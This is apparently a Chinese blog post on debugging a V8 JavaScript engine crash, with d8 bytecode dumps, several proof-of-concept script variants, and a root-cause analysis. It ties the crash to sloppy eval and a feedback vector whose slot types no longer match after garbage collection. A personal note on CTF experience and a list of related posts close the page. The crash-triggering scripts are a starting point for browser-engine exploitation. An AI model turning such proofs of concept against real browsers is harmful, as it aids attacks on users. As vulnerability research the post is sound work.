         0x118b0011a652 @   92 : 1b f8             PopContext r2
         0x118b0011a654 @   94 : 0b f7             Ldar r3
         0x118b0011a656 @   96 : 8a 04             Jump [4] (0x118b0011a65a @ 100)
         0x118b0011a658 @   98 : 0b 03             Ldar a0
         0x118b0011a65a @  100 : 25 02             StaCurrentContextSlot [2]
         0x118b0011a65c @  102 : 13 0a             LdaConstant [10]
         0x118b0011a65e @  104 : c4                Star0
         0x118b0011a65f @  105 : 0e                LdaUndefined
         0x118b0011a660 @  106 : a9                Return
Constant pool (size = 11)
0x118b0011a595: [FixedArray] in OldSpace
 - map: 0x118b00002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 11
           0: 0x118b0011a291 <ScopeInfo FUNCTION_SCOPE>
           1: 0x118b0011a2c1 <ScopeInfo CLASS_SCOPE>
           2: 0x118b0011a571 <FixedArray[7]>
           3: 0x118b0011a485 <SharedFunctionInfo b3>
           4: 0x118b0011a4dd <ObjectBoilerplateDescription[3]>
           5: 0x118b00006005 <String[4]: #eval>
           6: 0x118b000040a5 <String[1]: #c>
           7: 0x118b0011a1c5 <String[2]: #aa>
           8: 0x118b0011a4b9 <SharedFunctionInfo <instance_members_initializer>>
           9: 0x118b000071e5 <Symbol: (class_fields_symbol)>
          10: 0x118b0011a5c9 <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)
yaml 复制代码
[generated bytecode for function:  (0x118b0011a379 <SharedFunctionInfo>)]
Bytecode length: 105
Parameter count 2
Register count 10
Frame size 80
Bytecode age: 0
         0x118b000daf5a @    0 : 83 00 02          CreateFunctionContext [0], [2]
         0x118b000daf5d @    3 : 1a f9             PushContext r1
         0x118b000daf5f @    5 : 10                LdaTheHole
         0x118b000daf60 @    6 : 25 03             StaCurrentContextSlot [3]
         0x118b000daf62 @    8 : 0b 03             Ldar a0
         0x118b000daf64 @   10 : 9d 56             JumpIfNotUndefined [86] (0x118b000dafba @ 96)
         0x118b000daf66 @   12 : 81 01             CreateBlockContext [1]
         0x118b000daf68 @   14 : 1a f8             PushContext r2
         0x118b000daf6a @   16 : 10                LdaTheHole
         0x118b000daf6b @   17 : 25 02             StaCurrentContextSlot [2]
         0x118b000daf6d @   19 : 10                LdaTheHole
         0x118b000daf6e @   20 : 25 03             StaCurrentContextSlot [3]
         0x118b000daf70 @   22 : 10                LdaTheHole
         0x118b000daf71 @   23 : be                Star6
         0x118b000daf72 @   24 : 80 03 00 02       CreateClosure [3], [0], #2
         0x118b000daf76 @   28 : c1                Star3
         0x118b000daf77 @   29 : 13 02             LdaConstant [2]
         0x118b000daf79 @   31 : c0                Star4
         0x118b000daf7a @   32 : 7c 04 00 29       CreateObjectLiteral [4], [0], #41
         0x118b000daf7e @   36 : bc                Star8
         0x118b000daf7f @   37 : 28 05 01 02       LdaLookupGlobalSlot [5], [1], [2]
         0x118b000daf83 @   41 : bb                Star9
         0x118b000daf84 @   42 : 61 f1 03          CallUndefinedReceiver0 r9, [3]
         0x118b000daf87 @   45 : 33 f2 06 05       DefineNamedOwnProperty r8, [6], [5]
         0x118b000daf8b @   49 : 19 f7 f5          Mov r3, r5
         0x118b000daf8e @   52 : 0b f2             Ldar r8
         0x118b000daf90 @   54 : 97 05             JumpIfToBooleanFalse [5] (0x118b000daf95 @ 59)
         0x118b000daf92 @   56 : 0c                LdaZero
         0x118b000daf93 @   57 : 8a 09             Jump [9] (0x118b000daf9c @ 66)
         0x118b000daf95 @   59 : 00 0d ff 00       LdaSmi.Wide [255]
         0x118b000daf99 @   63 : 2c 07 01          StaLookupSlot [7], #1
         0x118b000daf9c @   66 : 73 f3             ToName r7
         0x118b000daf9e @   68 : 0b f3             Ldar r7
         0x118b000dafa0 @   70 : 25 02             StaCurrentContextSlot [2]
         0x118b000dafa2 @   72 : 65 29 00 f6 04    CallRuntime [DefineClass], r4-r7
         0x118b000dafa7 @   77 : 0b f7             Ldar r3
         0x118b000dafa9 @   79 : 25 03             StaCurrentContextSlot [3]
         0x118b000dafab @   81 : 80 08 01 02       CreateClosure [8], [1], #2
         0x118b000dafaf @   85 : c0                Star4
         0x118b000dafb0 @   86 : 32 f7 09 07       SetNamedProperty r3, [9], [7]
         0x118b000dafb4 @   90 : 1b f8             PopContext r2
         0x118b000dafb6 @   92 : 0b f7             Ldar r3
         0x118b000dafb8 @   94 : 8a 04             Jump [4] (0x118b000dafbc @ 98)
         0x118b000dafba @   96 : 0b 03             Ldar a0
         0x118b000dafbc @   98 : 25 03             StaCurrentContextSlot [3]
         0x118b000dafbe @  100 : 13 0a             LdaConstant [10]
         0x118b000dafc0 @  102 : c4                Star0
         0x118b000dafc1 @  103 : 0e                LdaUndefined
         0x118b000dafc2 @  104 : a9                Return
Constant pool (size = 11)
0x118b000daef9: [FixedArray] in OldSpace
 - map: 0x118b00002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 11
           0: 0x118b000dad65 <ScopeInfo FUNCTION_SCOPE>
           1: 0x118b000dad95 <ScopeInfo CLASS_SCOPE>
           2: 0x118b000daed5 <FixedArray[7]>
           3: 0x118b000dade9 <SharedFunctionInfo b3>
           4: 0x118b000dae41 <ObjectBoilerplateDescription[3]>
           5: 0x118b00006005 <String[4]: #eval>
           6: 0x118b000040a5 <String[1]: #c>
           7: 0x118b000dad0d <String[2]: #aa>
           8: 0x118b000dae1d <SharedFunctionInfo <instance_members_initializer>>
           9: 0x118b000071e5 <Symbol: (class_fields_symbol)>
          10: 0x118b000daf2d <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)

有三种可能的导致的字节码发生变化的原因:作用域结构变化、变量混淆遮蔽、反馈变量。

检查作用域结构
ini 复制代码
// 第一次编译(惰性编译)
// /root/v8/v8/out/x64.release/d8 --no-opt --allow-natives-syntax --print-bytecode /root/v8/v8/..ypj_poc/3-1-1.js
function a() {
    try {
        let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
    } catch (t) {
        print(t);
    }
};
for (let j = 0; j < 13; j++) {
    // 新增块作用域
    {
        ((a = class b3 {
            [({ c: eval() } ? 0 : (aa = 0xff))] 
        }) => { 
            let z = 0xdeadbeef; 
            // 新增块作用域变量,触发闭包
            const scopedVar = {}; 
        })();
    }
    if (j == 11) {
        a();
    }
}
ini 复制代码
// 第二次编译(优化编译)
// /root/v8/v8/out/x64.release/d8 --allow-natives-syntax --print-bytecode /root/v8/v8/..ypj_poc/3-1-2.js
function a() {
    try {
        let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
    } catch (t) {
        print(t);
    }
};
for (let j = 0; j < 13; j++) {
    // 新增块作用域
    {
        ((a = class b3 {
            [({ c: eval() } ? 0 : (aa = 0xff))] 
        }) => { 
            let z = 0xdeadbeef; 
            // 新增块作用域变量,触发闭包
            const scopedVar = {}; 
        })();
    }
    if (j == 11) {
        %OptimizeFunctionOnNextCall(a); // 强制优化
        a();
    }
}

因:

  1. 两个输出中的ScopeInfo都为7个,LdaLookupGlobalSlot都为1个。
  2. 两个输出中的LdaGlobal分别为9个和10个。
  3. 两个输出中 CreateFunctionContext 的对应参数相同。

果:

表明作用域层级稳定,这里出现的字节码不同与作用域结构无关。

观察变量混淆遮蔽
ini 复制代码
// /root/v8/v8/out/x64.release/d8 --allow-natives-syntax --print-bytecode /root/v8/v8/..ypj_poc/3-2.js
function a() {
    try {
        let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
    } catch (t) {
        print(t);
    }
};
for (let j = 0; j < 13; j++) {
    {
        // 遮蔽全局eval
        const eval = () => {};  // 新增局部eval
        ((a = class b3 {
            [({ c: eval() } ? 0 : (aa = 0xff))] 
        }) => { 
            let z = 0xdeadbeef; 
        })();
    }
    if (j == 11) {
        a();
    }
}

根据提供的字节码和代码修改,字节码差异确实由变量混淆遮蔽(eval被局部声明覆盖)导致

LdaGlobalLdaLookupGlobalSlot 指令替换

  • 原始代码 (无遮蔽): 直接通过全局对象访问 eval

    less 复制代码
    LdaGlobal [5], [1]  // 加载全局eval
  • 修改后代码 (遮蔽后): 因局部 eval 存在,需通过作用域链动态查找:

    less 复制代码
    LdaLookupGlobalSlot [5], [1], [2]  // 动态查找eval
调试反馈向量
ini 复制代码
// 禁用并发编译以稳定捕获反馈向量
// /root/v8/v8/out/x64.release/d8 --allow-natives-syntax --no-concurrent_recompilation /root/v8/v8/..ypj_poc/3-3.js
function a() {
    try {
        let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
    } catch (t) {
        print(t);
        // 打印函数反馈向量
        %DebugPrint(a);  // 新增调试指令
    }
};
for (let j = 0; j < 13; j++) {
    {
        ((a = class b3 {
            [({ c: eval() } ? 0 : (aa = 0xff))] //修改aa的赋值,便于在字节码中体现
        }) => { let z = 0xdeadbeef; })();
    }
    if (j == 11) {
        a();
    }
}

%DebugPrint(a) 输出显示:

yaml 复制代码
feedback vector: No feedback vector, but we have a closure feedback cell array
0x3c5000003511: [ClosureFeedbackCellArray] in ReadOnlySpace
- length: 0

表明函数 a() 未被优化 ,反馈向量未收集到有效数据(长度为0),因此 未触发优化编译

使用修改后的命令运行PoC3

css 复制代码
/root/v8/v8/out/x64.release/d8 --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-scopes --print-builtin-info /root/v8/v8/..ypj_poc/3.js
结论

由于Sloppy_eval标志的有无,两次变量的查找走了不同的代码路径。其中第一次变量查找按照正常代码路径执行,因此生成了StaGlobal字节码;第二次变量查找走了LookupSloppyEval函数,需要对在最外层作用域声明的全局变量套一层代理进行访问,因此生成了StaLookupSlot 字节码。

通过观察Feedback Vector的内容,我们可以发现:GC前后,Feedback Vector对应的字节码类型产生了变化,理论上来说,其中存储的数据类型也不同。但由于GC不对Feedback Vector进行回收,其中的内容被保留下来。导致GC后,Feedback Vector中实际存储的数据类型与要求存储的数据类型不同。 具体的,发生在Slot #7, #9, #11, #13。

利用--print-builtin-info 打印出的builtin函数对应的内存地址,发现崩溃时,对应的字节码正是LdaLookupGlobalSlot

杂谈

V8的源代码之前没有看的想法,但多次遇到未知的漏洞函数,明白还是要至少大致了解一遍,之后会完整看一遍v8源码然后简要分享一下感受。

之前打CTF的动态调调,感觉更多是了解整体的体系看到漏洞想到利用链然后动态调试确保过程与想法一致,而V8调试更多是根据有趣的结果再去调试解析发生这个结果的过程,前者由因溯果,后者由果溯因,差别挺大的。

我的CTF挺平淡无趣的。初入CTF是高中毕业接触到Cobalt Strike简单玩了一下,觉得很有趣,之后主动玩了很多奇怪的安全工具,尤其是misc工具,就勉强算入坑了,但更多是业余兴趣,没有系统性学习过。之后参加了学校的相关课程和CTF夏令营,可惜夏令营还没结束电脑坏了。之后简单看了一下每个方向,觉得pwn挺有意思的,就入坑了。其实一直没有很系统性地学过pwn,相对系统性的就是看完了一本CTF相关书的pwn部分,更多是做题的过程学,遇到什么学什么,感觉收获也挺多的,但一个人学真挺坐牢的,经常学到崩溃,感觉自己理解能力太差。当了CTF的队长,也没出啥成绩,可能确实是我能力不足、天赋不到位、努力不够吧。哎,CTF目前也短暂告一段落,尽管结局挺狼狈的,但希望队里的大家和CTF路上遇到的各位师傅安好吧,不知道之后还会不会打了。

相关推荐
渗透测试老鸟-九青25 分钟前
关于缓存欺骗的小总结
网络·经验分享·安全·web安全·缓存·面试
Hacker_Fuchen30 分钟前
好看的网络安全登录页面 vue http网络安全
安全·web安全·http
国科安芯1 小时前
ASP3605同步降压调节器——高可靠工业电源芯片解决方案
嵌入式硬件·安全·fpga开发·架构·安全威胁分析
网络安全-杰克1 小时前
网络安全知识:网络安全网格架构
安全·web安全·架构
网安-轩逸2 小时前
ctf网络安全题库 ctf网络安全大赛答案
安全·web安全
FreeBuf_3 小时前
Apache Tomcat漏洞公开发布仅30小时后即遭利用
网络·安全·tomcat·apache
菜根Sec4 小时前
网络空间安全专业发展历程及开设院校
安全·网络安全·信息安全·网络空间安全·网络安全高校
haidragon4 小时前
Ghostly Hollowing——可能是我所知道的最奇怪的 Windows 进程注入技术
安全
网络安全(king)5 小时前
解析漏洞总结
c语言·开发语言·前端·安全·web安全
瑜舍5 小时前
matrix-breakout-2-morpheus通关攻略
安全